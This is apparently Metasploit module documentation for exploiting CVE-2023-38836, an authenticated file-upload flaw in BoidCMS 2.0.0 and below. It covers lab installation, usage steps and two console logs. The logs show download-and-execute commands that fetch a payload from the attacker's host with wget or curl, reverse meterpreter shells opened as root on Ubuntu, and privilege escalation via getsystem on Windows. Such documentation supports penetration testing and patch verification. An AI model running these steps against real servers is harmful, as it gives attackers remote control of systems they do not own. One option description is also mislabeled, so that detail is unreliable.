## Vulnerable Application

This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
and below.  BoidCMS allows the authenticated upload of a php file as media if the file has
the GIF header, even if the file is a php file.
Once the file is uploaded, a user can then feed a command to the php file in a `GET` request.

## Installation

### Ubuntu 22.01.1x64 (Any 'nix should work)
1. `sudo apt-get install apache2 #install apache`
2. `sudo apt-get install php8.0 #install php`
3. `sudo a2enmod rewrite #enable mod_rewrite`
4. `sudo systemctl restart apache2 #restart apache2`
5. Follow installation instructions here: https://boidcms.github.io/#/install 
   a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
      the contents into the `/var/www/html/` folder on the apache server.
   b. Add
      `$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );`
      before the following line:
      `$App->render();`
6. `reboot`
7. `cd /var/www/html`
8. `sudo php -S [ip_address]:8080 #start php server`

### Windows 2019 server (Any Windows should work)
1. Download and install XMAPP for Windows from https://www.apachefriends.org/download.html
2. Reboot
3. Open XAMPP Control panel as admin.
4. Follow installation instructions here: https://boidcms.github.io/#/install
   a. download https://github.com/BoidCMS/BoidCMS/archive/refs/tags/v2.0.0.zip, unzip, and place
      the contents into the `C:\xampp\htdocs\` folder on the apache server.
   b. Add
      `$App->page = ltrim( $_SERVER[ 'PATH_INFO' ] ?? '', '/' );`
      before the following line:
      `$App->render();`
5. Verify that mod_rewrite is enabled for Apache.
   a. Click on the `Config` button beside the Apache status in XAMPP Control panel
   b. Select the httpd.conf
   c. Verify `LoadModule rewrite_module modules/mod_rewrite.so` is uncommented
   d. Restart Apache if you needed to uncomment the above line
6. Start the php server
   a. Open cmd window as Administrator
   b. `cd C:\xampp\htdocs\`
   c. `C:\xampp\php\php.exe -S 10.5.134.102:8080` #I don't know why we start the server on port 8080,
      but on windows, we access with the rport value of 80.

## Verification Steps

1. Install BoidCMS
1. Start msfconsole
1. Do: `use exploit/multi/http/cve_2023_38836_boidcms`
1. Do: `set CMS_USERNAME [username]`
1. Do: `set CMS_PASSWORD [password]`
1. Do: `set TARGETURI [target uri]`
1. Do: `run`
1. You should get a shell.

## Options

### CMS_USERNAME
The username for the BoidCMS admin panel.  Default is `admin`

### CMS_PASSWORD
The username for the BoidCMS admin panel.  Default is `password`

### TARGETURI
The root of the web page BoidCMS manages. Empty string by default.

## Scenarios

### BoidCMS on Ubuntu 22.04.1x64

```
msf exploit(multi/http/cve_2023_38836_boidcms) > show options

Module options (exploit/multi/http/cve_2023_38836_boidcms):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CMS_PASSWORD  password         yes       Password
   CMS_USERNAME  admin            yes       Username
   PHP_FILENAME  eI1lHLx.php      yes       The name for the php file to upload
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        10.5.134.129     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                            metasploit.html
   RPORT         8080             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                      yes       The path
   VHOST                          no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       WGET             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      LZfjvRRrNR       no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   nix Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/cve_2023_38836_boidcms) > run

[*] Command to run on remote host: wget -qO /tmp/oEsnOArk http://10.5.135.201:8080/v3vZxR3P-stuKWjUe6pCeA; chmod +x /tmp/oEsnOArk; /tmp/oEsnOArk &
[*] Fetch Handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /v3vZxR3P-stuKWjUe6pCeA
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Detected BoidCMS, but the version is unknown.
[*] Getting Token
[*] Logging into CMS
[*] Uploading PHP file eI1lHLx.php
[*] launching Payload
[*] Client 10.5.134.129 requested /v3vZxR3P-stuKWjUe6pCeA
[*] Sending payload to 10.5.134.129 (Wget/1.21.2)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.5.134.129
[+] Deleted eI1lHLx.php
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.129:49168) at 2024-02-16 16:32:33 -0600

meterpreter > sysinfo
Computer     : 10.5.134.129
OS           : Ubuntu 22.04 (Linux 6.5.0-17-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
meterpreter > 



```


### BoidCMS on Windows Server 2019x64

```
msf exploit(multi/http/cve_2023_38836_boidcms) > show options

Module options (exploit/multi/http/cve_2023_38836_boidcms):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CMS_PASSWORD  password         yes       Password
   CMS_USERNAME  admin            yes       Username
   PHP_FILENAME  eI1lHLx.php      yes       The name for the php file to upload
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        10.5.134.102     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                            metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                      yes       The path
   VHOST                          no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                           no        Comma-separate list of extensions to load
   EXTINIT                              no        Initialization strings for extensions
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      EwRzYaki         no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/cve_2023_38836_boidcms) > run

[*] Command to run on remote host: curl -so %TEMP%\YnmWUfMzCxY.exe http://10.5.135.201:8080/h8r3u5VU3v-qeqUW3_anLw & start /B %TEMP%\YnmWUfMzCxY.exe
[*] Fetch Handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /h8r3u5VU3v-qeqUW3_anLw
[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Detected BoidCMS, but the version is unknown.
[*] Getting Token
[*] Logging into CMS
[*] Uploading PHP file eI1lHLx.php
[*] launching Payload
[*] Client 10.5.134.102 requested /h8r3u5VU3v-qeqUW3_anLw
[*] Sending payload to 10.5.134.102 (curl/7.55.1)
[+] Deleted eI1lHLx.php
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.134.102:50085) at 2024-02-16 16:41:48 -0600

meterpreter > sysinfo
Computer        : WIN-2E6BPFGP9F7
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN-2E6BPFGP9F7\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > 

```
